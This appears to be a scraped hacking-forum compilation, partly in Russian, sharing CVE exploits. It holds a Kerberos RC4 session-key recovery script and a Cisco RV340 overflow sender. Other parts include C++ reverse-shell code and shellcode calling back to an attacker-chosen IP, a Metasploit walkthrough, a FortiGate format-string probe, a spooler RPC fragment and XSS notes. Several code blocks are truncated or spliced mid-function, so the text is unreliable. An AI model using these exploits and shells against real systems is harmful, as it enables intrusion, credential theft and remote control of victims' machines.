return $addresses;
}
# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
o('Obtaining apache workers PIDs');
$pids = [];
$cmd = file_get_contents('/proc/self/cmdline');
$processes = glob('/proc/*');
foreach($processes as $process)
{
if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
continue;
$pid = (int) $match[1];
if(
!is_readable($process . '/cmdline') ||
!is_readable($process . '/status')
)
continue;
if($cmd !== file_get_contents($process . '/cmdline'))
continue;
$status = file_get_contents($process . '/status');
foreach(explode("\n", $status) as $line)
{
if(
strpos($line, 'Uid:') === 0 &&
preg_match('#\b' . posix_getuid() . '\b#', $line)
)
{
o(' Found apache worker: ' . $pid);
$pids[$pid] = $pid;
break;
}
}
}
o('Got ' . sizeof($pids) . ' PIDs.');
o('');
return $pids;
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
Github:
](https://github.com/d3duct1v/CVE-2022-41040)
Code set relating to CVE-2022-41040. Contribute to d3duct1v/CVE-2022-41040 development by creating an account on GitHub.
github.com
XSS в FastBB
Очередная язва в Быстром ББ. Найдена все опять же благодаря отсутствия
фильтрации некоторых вложенных тегов.
Суть бага, точнее только XSS код, который надо сунуть сами знаете куда можно поглядеть здесь.
В архиве лежит .txt там ман по эксплойту.
You must have at least 10 message(s) to view the content.
C-like:Copy to clipboard
Start msfconsole
Do use exploit/multi/http/sonicwall_shell_injection_cve_2023_34124
Set the appropriate TARGET, RHOST, LHOST, and possibly FETCH_SRVHOST (for Windows)
Do run
You should get meterpreter
github.com/rapid7/metasploit-framework/pull/18302
CVE-2023-21823. - Windows Graphics Component Remote Code Execution
Vulnerability discovered by Genwei Jiang and Dhanesh Kizhakkinan of Mandiant.
Microsoft says this remote code execution vulnerability allows attackers to
execute commands with SYSTEM privileges.
Source: https://www.bleepingcomputer[.]com/...tuesday-fixes-3-exploited-zero-
days-77-flaws/
C++:Copy to clipboard
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32")
int main() {
HBITMAP hBitmap;
HDC hdcMem;
LPVOID pvScan0;
BITMAPINFO bmi = { sizeof(BITMAPINFOHEADER), 0, 0, 1, 32, BI_RGB };
BYTE bJmp[6] = { 0xEB, 0x06, 0x90, 0x90, 0x90, 0x90 };
hBitmap = CreateBitmap(1, 1, 1, 32, NULL);
hdcMem = CreateCompatibleDC(NULL);
SelectObject(hdcMem, hBitmap);
GetDIBits(hdcMem, hBitmap, 0, 0, NULL, &bmi, DIB_RGB_COLORS);
pvScan0 = VirtualAlloc(NULL, bmi.bmiHeader.biSizeImage, MEM_COMMIT, PAGE_READWRITE);
bmi.bmiHeader.biCompression = BI_JPEG;
memcpy((PBYTE)pvScan0 + bmi.bmiHeader.biSizeImage - 6, bJmp, 6);
SetDIBits(hdcMem, hBitmap, 0, 1, pvScan0, &bmi, DIB_RGB_COLORS);
int main(int argc, char** argv)
{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN server;
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
// Reverse shell payload
char* shellcode = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x90\xc0\xa8\x00\x66\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x02\x59\x50\x50\x4d\x31\xc9\x
int main()
{
// Setup reverse shell payload
WSADATA wsaData;
SOCKET Winsock;
sockaddr_in addr;
STARTUPINFOA sInfo;
PROCESS_INFORMATION pInfo;
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, NULL, NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.0.1"); // Your IP address here
addr.sin_port = htons(1234); // Your listening port here
WSAConnect(Winsock, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL);
memset(&sInfo, 0, sizeof(sInfo));
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)Winsock;
char* szCmdline = "cmd.exe"; // Command line to execute
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo);
return 0;
}
Description vulnerability
The vulnerability allows a malicious RDP server to gain write access to any local drive on a computer running a connected RDP client, as long as at least one local drive is accessible through the RDP session.
Click to expand...
Description PoC
The trick Abdelhamid used in their POC was, as it so often happens, a symbolic link: Suppose you connected to a malicious RDP server and shared a locally plugged-in USB drive E:, the server could create a symbolic link from E:\temp to C:\ (which would mean your local C: drive, not server's) whereby the entire content of drive C:
would become accessible to the server under E:\temp with permissions of the connecting user.Click to expand...
PoC
](https://github.com/klinix5/ReverseRDP_RCE)
Contribute to klinix5/ReverseRDP_RCE development by creating an account on GitHub.
github.com
Python:Copy to clipboard
#!/usr/bin/python3
# @FlashbackPwn @offensive_con
# https://twitter.com/jifa/status/1489971006122909704#m
# it is not well checked
import sys
import requests
import urllib3
import time
import socket
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def usage():
print("./flashback_connects.py <TARGET>")
sys.exit(-1)
if len(sys.argv) != 2:
usage()
print("[x] Flashback_connects")
print("[*] Launching attack against Cisco RV340 WAN")
print("")
shellcode = b''
TARGET = sys.argv[1]
FILLER = shellcode + b'\x05' * (16400-(len(shellcode)))
#sc?### 0x704aed98
PC = b'\x98\xed\x4a\x70'
url = 'https://%s:8443/X' % TARGET
url += 'X' * (len(TARGET)-7)
payload = FILLER + PC
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((TARGET, 8443))
if result == 0:
print("[*] SSLVPND is up, ready to go!")
else:
print("[!] SSLVPND is down. Check configuration and try again")
sys.exit(-1)
sock.close()
while(True):
try:
print("[*] Attempt!")
r = requests.post(url, data=payload, verify=False)
except requests.exceptions.ConnectionError as e:
print("[!] Service not available. Sleeping")
time.sleep(10)
Недавно были найдены баги в популярнейшем двиге sPaize Nuke.
1. Уязвимость в модулях поиска, пример использования:
http://test.ru/modules.php?name=Articles&f...бла%20бла%20бла[XSS
CODE]&cat_id=&type=articles
2. Уязвимость в админке, в модуле "переходы с сайтов". Баг позволяет внедрить в тело админки через параметр рефери скрипт. Рефери, содержащие html-код, будет восприниматься не как текст, а как код.
Закрываем баг:
search.php
Открываем файл modules/Articles/search.php, находим там 12 строку:
$pagetitle = _M_ART8." : ".$_GET['query'];
заменяем ее на:
$pagetitle = _M_ART8." : ".htmlspecialchars($_GET['query']);
Открываем файл modules/Files/search.php, находим там 12 строку:
$pagetitle = _M_FILES44." : ".$_GET['query'];
заменяем ее на:
$pagetitle = _M_FILES44." : ".htmlspecialchars($_GET['query']);
Открываем файл modules/Links/search.php, находим там 16 строку:
$pagetitle = _M_LINKS44." : ".$_GET['query'];
заменяем ее на:
$pagetitle = _M_LINKS44." : ".htmlspecialchars($_GET['query']);
header.php
ищем такие строки:
if ($config['http_ref'])
{
$referer = getenv("HTTP_REFERER");
if ($referer != "" AND !eregi("^unknown", $referer) AND
!eregi("^bookmark",$referer) AND !strpos("$referer",$_SERVER["HTTP_HOST"]))
Заменяем на:
if ($config['http_ref'])
{
$referer = getenv("HTTP_REFERER");
$referer = htmlspecialchars($referer);
if ($referer != "" AND !eregi("^unknown", $referer) AND
!eregi("^bookmark",$referer) AND !strpos("$referer",$_SERVER["HTTP_HOST"]))
Code:Copy to clipboard
usage: CVE-2022-33079.py [-h] [-ts] [-debug] [-dc-ip ip address] target serverName
Python:Copy to clipboard
import datetime
import random
import argparse
import logging
import sys
from binascii import hexlify, unhexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, \
PA_ENC_TS_ENC, AS_REP, EncryptedData, EncASRepPart, seq_set, \
seq_set_iter, KERB_ERROR_DATA, HostAddress, HostAddresses, Ticket
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REQ, TGS_REP, EncTGSRepPart
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.types import Ticket as TTicket
from impacket.krb5 import constants
from impacket.krb5.crypto import Key
from impacket.krb5.ccache import Principal as CPrincipal
from impacket.krb5.ccache import CCache, Header, Credential, Times, CountedOctetString
try:
from impacket.krb5.ccache import KeyBlockV4 as KeyBlock
except:
from impacket.krb5.ccache import KeyBlock
from arc4 import ARC4
try:
rand = random.SystemRandom()
except NotImplementedError:
rand = random
pass
class TGTBrute:
def __init__(self, target, domain, servername, options):
self.__user = target
self.__domain = domain
self.__servername = servername
self.__options = options
self.__kdcHost = options.dc_ip
self.__asReq = None
self.__reqBody = None
self.__encodedPacRequest = None
def prepareAsReq(self, requestPAC=True):
rsadsi_rc4_md4 = -128
self.__asReq = AS_REQ()
domain = self.__domain.upper()
serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
self.__encodedPacRequest = encoder.encode(pacRequest)
self.__asReq['pvno'] = 5
self.__asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
self.__reqBody = seq_set(self.__asReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
self.__reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(self.__reqBody, 'sname', serverName.components_to_asn1)
seq_set(self.__reqBody, 'cname', userName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
self.__reqBody['realm'] = domain
self.__reqBody['till'] = KerberosTime.to_asn1(now)
self.__reqBody['rtime'] = KerberosTime.to_asn1(now)
self.__reqBody['nonce'] = rand.getrandbits(31)
supportedCiphers = (rsadsi_rc4_md4,)
seq_set_iter(self.__reqBody, 'etype', supportedCiphers)
def getTGT(self, requestPAC=True):
self.prepareAsReq()
self.__asReq['padata'] = noValue
self.__asReq['padata'][0] = noValue
self.__asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
self.__asReq['padata'][0]['padata-value'] = self.__encodedPacRequest
for i in range(20): # Add padding for more known bytes:
addr = HostAddress()
addr['addr-type']=1
addr['address']=bytes([0,0,0,i])
self.__reqBody['addresses'][i] = addr
message = encoder.encode(self.__asReq)
try:
r = sendReceive(message, domain, self.__kdcHost)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
logging.error(" RC4 is not supported")
exit()
else:
raise
return r
def sendEncTs(self, data, requestPAC=True):
self.prepareAsReq()
encryptedData = EncryptedData()
encryptedData['etype'] = -128
encryptedData['cipher'] = data
encodedEncryptedData = encoder.encode(encryptedData)
self.__asReq['padata'] = noValue
self.__asReq['padata'][0] = noValue
self.__asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
self.__asReq['padata'][0]['padata-value'] = encodedEncryptedData
self.__asReq['padata'][1] = noValue
self.__asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
self.__asReq['padata'][1]['padata-value'] = self.__encodedPacRequest
message = encoder.encode(self.__asReq)
success = True
try:
r = sendReceive(message, domain, self.__kdcHost)
except Exception as e:
success = False
return success
def RecoverKey(self, encryptedAsREP):
AsREPPlain = b'\x00'*24+b'y\x82\x02\x140\x82\x02\x10\xa0\x1b0\x19\xa0\x03\x02\x01\x80\xa1\x12\x04\x10'
RC4Flow = bytes([AsREPPlain[i]^encryptedAsREP[i] for i in range(45)])
#first byte of the key
now = datetime.datetime.utcnow()
Timestamp = (KerberosTime.to_asn1(now)).encode()
sTimestamp = len(Timestamp)+1
encodedTimeStamp = bytes([0 for i in range(24)])+bytes([0x30, sTimestamp+4, 0xa0, sTimestamp+2, 0x18, sTimestamp])+ Timestamp
encryptedTimeStamp = bytes([RC4Flow[i]^encodedTimeStamp[i] for i in range(45)])
found = False
for i in range(256):
if self.sendEncTs(encryptedTimeStamp+bytes([i])):
RC4Flow += bytes([i])
logging.info("Byte 0: %02x"%i)
found = True
break
if found == False:
logging.error("No matching byte")
exit()
for j in range(4):
found = False
encodedTimeStamp = bytes([0 for i in range(24)])+bytes([0x30, 0x81+j])+bytes([0])*j
encodedTimeStamp += bytes([sTimestamp+4, 0xa0, sTimestamp+2, 0x18, sTimestamp])+ Timestamp
encryptedTimeStamp = bytes([RC4Flow[i]^encodedTimeStamp[i] for i in range(46+j)])
for i in range(256):
if self.sendEncTs(encryptedTimeStamp+bytes([i])):
RC4Flow += bytes([i])
logging.info("Byte %d: %02x"%(j+1, i))
found = True
break
if found == False:
logging.error("No matching byte")
exit()
key = bytes([RC4Flow[i]^encryptedAsREP[i] for i in range(45, 50)]+[0xab]*11)
return key
def TGTtoTGS(self, TGT, sessionKey):
rsadsi_rc4_md4 = -128
serverName = Principal('cifs/%s'%self.__servername, type=constants.PrincipalNameType.NT_SRV_INST.value)
ticket = TTicket()
ticket.from_asn1(TGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = TGT['crealm'].asOctets()
clientName = Principal()
clientName.from_asn1( TGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
cipher = ARC4(sessionKey[:8])
encryptedEncodedAuthenticator = cipher.encrypt(b'\x00'*24+encodedAuthenticator)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = rsadsi_rc4_md4
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.renewable_ok.value )
opts.append( constants.KDCOptions.canonicalize.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = domain
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
)
)
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, self.__kdcHost)
return r
def TGSToCCache(self, TGS, sessionKey): #from CCache.fromTGT
ccache = CCache()
ccache.headers = []
header = Header()
header['tag'] = 1
header['taglen'] = 8
header['tagdata'] = b'\xff\xff\xff\xff\x00\x00\x00\x00'
ccache.headers.append(header)
tmpPrincipal = Principal()
tmpPrincipal.from_asn1(TGS, 'crealm', 'cname')
ccache.principal = CPrincipal()
ccache.principal.fromPrincipal(tmpPrincipal)
# Now let's add the credential
encryptedTGSREP = bytes(TGS['enc-part']['cipher'])
cipher = ARC4(sessionKey[:8])
plainText = cipher.decrypt(bytes(encryptedTGSREP))[24:]
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
credential = Credential()
server = Principal()
server.from_asn1(encTGSRepPart, 'srealm', 'sname')
tmpServer = CPrincipal()
tmpServer.fromPrincipal(server)
credential['client'] = ccache.principal
credential['server'] = tmpServer
credential['is_skey'] = 0
credential['key'] = KeyBlock()
credential['key']['keytype'] = int(encTGSRepPart['key']['keytype'])
credential['key']['keyvalue'] = encTGSRepPart['key']['keyvalue'].asOctets()
credential['key']['keylen'] = len(credential['key']['keyvalue'])
credential['time'] = Times()
credential['time']['authtime'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['authtime']))
credential['time']['starttime'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['starttime']))
credential['time']['endtime'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['endtime']))
# after kb4586793 for cve-2020-17049 this timestamp may be omitted
if encTGSRepPart['renew-till'].hasValue():
credential['time']['renew_till'] = ccache.toTimeStamp(KerberosTime.from_asn1(encTGSRepPart['renew-till']))
flags = ccache.reverseFlags(encTGSRepPart['flags'])
credential['tktflags'] = flags
credential['num_address'] = 0
credential.ticket = CountedOctetString()
credential.ticket['data'] = encoder.encode(TGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
credential.ticket['length'] = len(credential.ticket['data'])
credential.secondTicket = CountedOctetString()
credential.secondTicket['data'] = b''
credential.secondTicket['length'] = 0
ccache.credentials.append(credential)
return ccache
def run(self):
logging.info("Getting TGT - Retrieving AS-REP")
tgt = self.getTGT()
decodedtgt = decoder.decode(tgt, asn1Spec = AS_REP())[0]
encryptedAsREP = bytes(decodedtgt['enc-part']['cipher'])
logging.info("Trying to recover the RC4 Flow")
sessionKey = self.RecoverKey(encryptedAsREP)
logging.info("Recovered Session key: %s"%sessionKey.hex())
TGS = self.TGTtoTGS(decodedtgt, sessionKey)
logging.info("Got TGS for %s"%self.__servername)
decodedtgs = decoder.decode(TGS, asn1Spec = TGS_REP())[0]
ccache = self.TGSToCCache(decodedtgs, sessionKey)
logging.info("Saving ticket in %s" % (self.__user+'_'+self.__servername+'.ccache'))
ccache.saveFile(self.__user+'_'+self.__servername+'.ccache')
# Process command-line arguments.
if __name__ == '__main__':
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Retrieve a TGT for a user having"
"'Do not require Kerberos preauthentication' set and export their TGS of the given server")
parser.add_argument('target', action='store', help='domain/username')
parser.add_argument('serverName', action='store', help='server name')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) '
'specified in the target parameter')
options = parser.parse_args()
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password = parse_credentials(options.target)
if domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)
try:
executer = TGTBrute(username, domain, options.serverName, options)
executer.run()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered- harmful.html ](https://github.com/Bdenneu/CVE-2022-33679)
One day based on https://googleprojectzero.blogspot.com/2022/10/rc4-is-still- considered-harmful.html - GitHub - Bdenneu/CVE-2022-33679: One day based on https://googleprojectzero.blogspot.com/2022/...
github.com
Новая форма атаки на NTLM-ретранслятор Windows использует распределённую систему файлов MS-DFSNM для получения контроля над доменом. ссылка на PoC
this is Local Windows priv esc exploit. this fucks NTLM reflection that targets local auth
![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F53ecb51587f283250585d8475e7443486f8cf59981ba22ab9b29ffc4e73b783b%2Fdecoder- it%2FLocalPotato&hash=42d779a97f176e60746512266c957587&return_error=1)
it/LocalPotato)
Contribute to decoder-it/LocalPotato development by creating an account on GitHub.
github.com
На гитхабе уже довольно много эксплойтов с добавлением юзера и чеком на
имплант.
Просмотрев их, у меня сложилось впечатление, что это фейки. Причем, некоторые
не работают из-за банальных ляпов в коде.
Метод с добавлением юзера слишком тупой, не находите? Auth-bypass в POST- запросе на роуте /create_user с телом {"username":"user1", "password":"password1"}. Добавляет юзера с максимальными привелегиями? Что это за дичь? Очевидная же хрень, как такое могло стать уязвимостью вообще? Насколько в циско должны быть упоротые кодеры чтобы такое пропустить?
Но окей, допускаю что это может работать. Но в эксплойте оно никак не
задействуется дальше. Имплант заливается без аутентификации. И есть особо
отмоченные, кто ещё придумал свои роуты, например
https://github.com/sohaibeb/CVE-2023-20198/blob/main/CVE_CISCO_20198_V2.py
59 строка, check_url = f"{base_url}/implant_status". Откуда /implant_status?
Кого /implant_status?
У меня вопрос к тем, кто уже пробовал заюзать эту багу на паблик экспах -
удавалось ли вам реально добавить юзера и зайти в web-админку?
Подозреваю, что сканер импланта там работает, но это будут уже взломанные кем-
то системы.
Насчет всего остального одни вопросы.
GIT: https://github.com/zgimszhd61/CVE-2024-23113
Новость: https://www.securitylab.ru/news/552870.php
Переведенные комменты в POC:
Python:Copy to clipboard
import socket
import ssl
import struct
def check_vulnerability(hostname):
"""
Проверяет, существует ли уязвимость для заданного хоста, устанавливая соединение и анализируя ответ сервера.
Параметры:
hostname (str): Имя хоста, который необходимо проверить.
Возвращает:
bool: True, если устройство, вероятно, уязвимо, False в противном случае.
"""
context = create_ssl_context()
with create_socket() as sock:
if not connect_socket(sock, hostname, port=541):
return False
try:
with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
return analyze_server_response(ssock)
except ssl.SSLError as ssl_err:
return handle_ssl_error(ssl_err, hostname)
except socket.error as sock_err:
print(f"[-] Ошибка сокета: {sock_err}")
return False
def create_ssl_context():
"""Создает и возвращает SSL-контекст с необходимыми настройками."""
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.options |= ssl.OP_NO_COMPRESSION
return context
def create_socket():
"""Создает и возвращает сокет с настроенным таймаутом."""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
return sock
def connect_socket(sock, hostname, port):
"""
Подключает заданный сокет к указанному хосту и порту.
Параметры:
sock (socket.socket): Сокет, который необходимо подключить.
hostname (str): Имя хоста, к которому необходимо подключиться.
port (int): Номер порта, к которому необходимо подключиться.
Возвращает:
bool: True, если подключение успешно, False в противном случае.
"""
try:
sock.connect((hostname, port))
return True
except socket.error as e:
print(f"[-] Не удалось подключиться к {hostname}: {e}")
return False
def analyze_server_response(ssock):
"""
Анализирует первоначальные данные, полученные от сервера, и определяет, существует ли уязвимость.
Параметры:
ssock (ssl.SSLSocket): SSL-обернутый сокет.
Возвращает:
bool: True, если сервер, вероятно, уязвим, False в противном случае.
"""
initial_data = ssock.recv(1024)
if not initial_data:
print("[-] Не получены начальные данные от сервера.")
return False
if len(initial_data) >= 8:
pkt_flags, pkt_len = struct.unpack('ii', initial_data[:8])
pkt_len -= 2
else:
print("[-] Полученные начальные данные слишком короткие.")
return False
payload = ssock.recv(pkt_len - 8)
if len(payload) < pkt_len - 8:
print("[-] Получен неполный полезный код.")
return False
return send_format_string_payload(ssock)
def send_format_string_payload(ssock):
"""Отправляет полезную нагрузку с форматированной строкой на сервер и анализирует ответ."""
format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00"
packet = create_packet(format_string_payload)
ssock.send(packet)
response = ssock.recv(1024)
if response:
print("[+] Устройство, возможно, не уязвимо - получен ответ.")
return False
else:
print("[+] Ответ не получен - требуется дальнейший анализ.")
return False
def create_packet(payload):
"""Создает пакет из заданной полезной нагрузки."""
packet = b''
packet += 0x0001e034.to_bytes(4, 'little')
packet += (len(payload) + 8).to_bytes(4, 'big')
packet += payload
return packet
def handle_ssl_error(ssl_err, hostname):
"""Обрабатывает ошибку SSL, чтобы определить, может ли сервер быть уязвимым."""
if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
print(f"[+] Устройство {hostname}, вероятно, уязвимо. Соединение было прервано, как ожидалось.")
return True
else:
print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
return False
def main():
while True:
hostname = input("Введите имя хоста для проверки (или 'exit' для выхода): ")
if hostname.lower() == 'exit':
break
is_vulnerable = check_vulnerability(hostname)
if is_vulnerable:
print(f"[!] Внимание: {hostname} уязвим!")
else:
print(f"[+] {hostname} не уязвим.")
if __name__ == "__main__":
main()
Перевод Readme c гита:
CVE-2024-23113
Этот сценарий предназначен для обнаружения уязвимости CVE-2024-23113, которая представляет собой уязвимость форматной строки в службе FGFM (протокол связи между FortiGate и FortiManager) FortiGate, работающей на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может контролировать форматную строку, что может привести к удаленному выполнению кода (RCE) или другому непредвиденному поведению. Служба FGFM используется для связи по управлению конфигурацией между устройствами FortiGate и FortiManager, и неисправленные версии имеют ненадлежащую обработку входных данных, что делает их уязвимыми к атакам с использованием уязвимостей форматной строки.
Как работает скрипт
Bash:Copy to clipboard
python POC-CVE-2024-23113.py
Внимание: <hostname> уязвим!
[+] <hostname> выглядит исправленным.
Системные требования:
P.S. В теории это можно адаптировать под это: CVE-2024-47575 (Хотя я могу ошибаться).
Python:Copy to clipboard
#!/usr/bin/python3
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.structure import Structure
import argparse
import sys
import time
import pathlib
#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
class DRIVER_INFO_2_BLOB(Structure):
structure = (
('cVersion','<L'),
('NameOffset', '<L'),
('EnvironmentOffset', '<L'),
('DriverPathOffset', '<L'),
('DataFileOffset', '<L'),
('ConfigFileOffset', '<L'),
)
def __init__(self, data = None):
Structure.__init__(self, data = data)
def fromString(self,data):
Structure.fromString(self, data)
self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']:self['DataFileOffset']].decode('utf-16-le')
self['DataFileArray'] = self.rawData[self['DataFileOffset']:self['DriverPathOffset']].decode('utf-16-le')
self['DriverPathArray'] = self.rawData[self['DriverPathOffset']:self['EnvironmentOffset']].decode('utf-16-le')
self['EnvironmentArray'] = self.rawData[self['EnvironmentOffset']:self['NameOffset']].decode('utf-16-le')
self['NameArray'] = self.rawData[self['NameOffset']:len(self.rawData)].decode('utf-16-le')
def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
rpctransport = transport.DCERPCTransportFactory(binding)
rpctransport.set_dport(port)
rpctransport.setRemoteHost(address)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
print("[*] Connecting to {0}".format(binding))
try:
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
except:
print("[-] Connection Failed")
sys.exit(1)
print("[+] Bind OK")
return dce
def getDrivers(dce, handle=NULL):
#get drivers
resp = rprn.hRpcEnumPrinterDrivers(dce, pName=handle, pEnvironment="Windows x64\x00", Level=2)
data = b''.join(resp['pDrivers'])
#parse drivers
blob = DRIVER_INFO_2_BLOB()
blob.fromString(data)
#blob.dump()
return blob
def main(username, password, domain, lmhash, nthash, address, port, share):
#connect
dce = connect(username, password, domain, lmhash, nthash, address, port)
#handle = "\\\\{0}\x00".format(address)
handle = NULL
